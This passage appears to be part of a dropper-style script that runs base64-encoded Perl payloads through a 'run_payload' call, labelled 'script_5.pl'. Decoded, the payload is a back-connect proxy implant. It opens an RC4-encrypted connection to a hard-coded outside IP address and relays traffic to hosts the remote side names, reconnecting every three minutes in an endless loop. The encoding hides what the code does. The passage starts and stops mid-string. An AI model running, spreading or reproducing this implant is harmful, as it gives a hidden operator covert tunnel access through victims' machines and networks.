YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_5.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTU0JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKT